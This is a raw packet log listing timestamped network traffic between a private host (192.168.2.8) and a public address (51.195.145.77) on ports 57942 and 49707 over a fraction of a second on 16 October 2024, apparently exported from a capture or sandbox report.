Oct 16, 2024 20:39:19.314938068 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.314943075 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.314960957 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.314996958 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.315001011 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315011024 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315018892 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315032959 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315042973 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315054893 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315063000 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.315073967 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315079927 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.315087080 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315104961 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.315125942 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.315152884 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.315164089 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315174103 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315237999 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.315294027 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315350056 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.315413952 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315423012 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315458059 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315526962 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.315603971 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.315676928 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.319753885 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.319813967 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.319854021 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.319905996 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.319945097 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.319987059 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.319998026 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.320029020 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320039034 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320039034 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.320079088 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.320137978 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320147038 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320187092 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.320221901 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320267916 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.320286036 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320329905 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.320334911 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320343971 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320353031 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320380926 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320384026 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.320400953 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.320417881 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320422888 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.320461035 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.320480108 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320488930 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.320529938 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.364594936 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.364660025 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.415159941 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.415229082 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.427438021 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.427686930 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.427772045 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.427823067 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.432718992 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.432780027 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.432867050 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.432946920 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.432956934 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.432965040 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.432974100 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433017969 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433166027 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433281898 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433346987 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433370113 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433379889 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433409929 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433424950 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433455944 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433468103 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433486938 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433496952 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433516979 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433531046 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433547020 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433582067 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433612108 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433634043 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433645964 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433737040 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433759928 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433816910 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433840990 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433851004 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433888912 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433896065 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433900118 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433937073 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433944941 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.433945894 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433954954 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433978081 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.433988094 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434000969 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434035063 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434055090 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434063911 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434072018 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434098959 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434111118 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434113026 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434150934 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434197903 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434206963 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434216022 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434259892 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434274912 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434292078 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434302092 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434309959 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434340954 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434350967 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434350967 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434360027 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434370041 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434382915 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434417009 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434432983 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434458971 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434470892 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434480906 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434489012 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434500933 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434509993 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434535027 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434561014 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434681892 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434691906 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434700012 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434739113 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434876919 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434890985 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434900045 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434909105 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434916973 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434926987 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434937954 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434943914 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.434947014 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434954882 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.434981108 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435009003 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435012102 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435019016 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435026884 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435035944 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435045004 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435055017 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435065031 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435067892 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435074091 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435082912 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435091972 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435101986 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435110092 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435120106 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435129881 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435143948 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435153008 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435162067 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435162067 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435180902 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435209036 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435229063 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435250044 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435260057 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435269117 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435277939 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435285091 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435305119 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435333967 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435348034 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435406923 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435416937 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435420990 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435431004 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435440063 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435448885 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435461044 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435470104 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435482979 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435524940 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435535908 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435544968 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435554028 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435583115 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435594082 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435631990 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435641050 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435650110 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435693979 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435712099 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.435872078 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435882092 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.435925007 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.437701941 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.437757015 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.437776089 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.437808037 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.437828064 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.437855005 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.437859058 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.437905073 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.437921047 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.437931061 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.437938929 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.437949896 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.437958956 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.437978029 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.437985897 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438004971 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438013077 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438021898 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438041925 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438054085 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438067913 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438100100 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438127041 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438213110 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438251019 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438255072 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438261986 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438281059 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438316107 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438344002 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438369989 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438383102 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438393116 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438419104 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438425064 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438441992 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438448906 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438474894 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438519955 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438529968 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438538074 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438564062 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438574076 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438580036 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438601971 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438623905 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438632965 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438679934 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438694954 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438704967 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438716888 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438750982 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438767910 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438791037 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438841105 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438859940 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438911915 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.438932896 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438942909 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.438997030 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439043999 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439059973 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439111948 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439156055 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439166069 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439198017 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439208031 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439210892 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439255953 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439258099 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439289093 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439338923 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439359903 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439369917 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439382076 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439402103 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439414024 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439421892 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439425945 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439433098 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439455986 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439459085 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439471960 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439506054 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439508915 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439517975 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439558029 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439558983 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439568043 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439575911 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439604998 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439614058 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439615965 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439625978 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439651966 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439666986 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439680099 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439690113 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439709902 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439721107 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439742088 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439769983 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439771891 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439780951 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439790010 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439805984 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439820051 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439831018 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439832926 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439845085 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439876080 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439877987 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439886093 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439888954 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439924955 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439941883 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:19.439948082 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.439956903 CEST	57942	49707	51.195.145.77	192.168.2.8
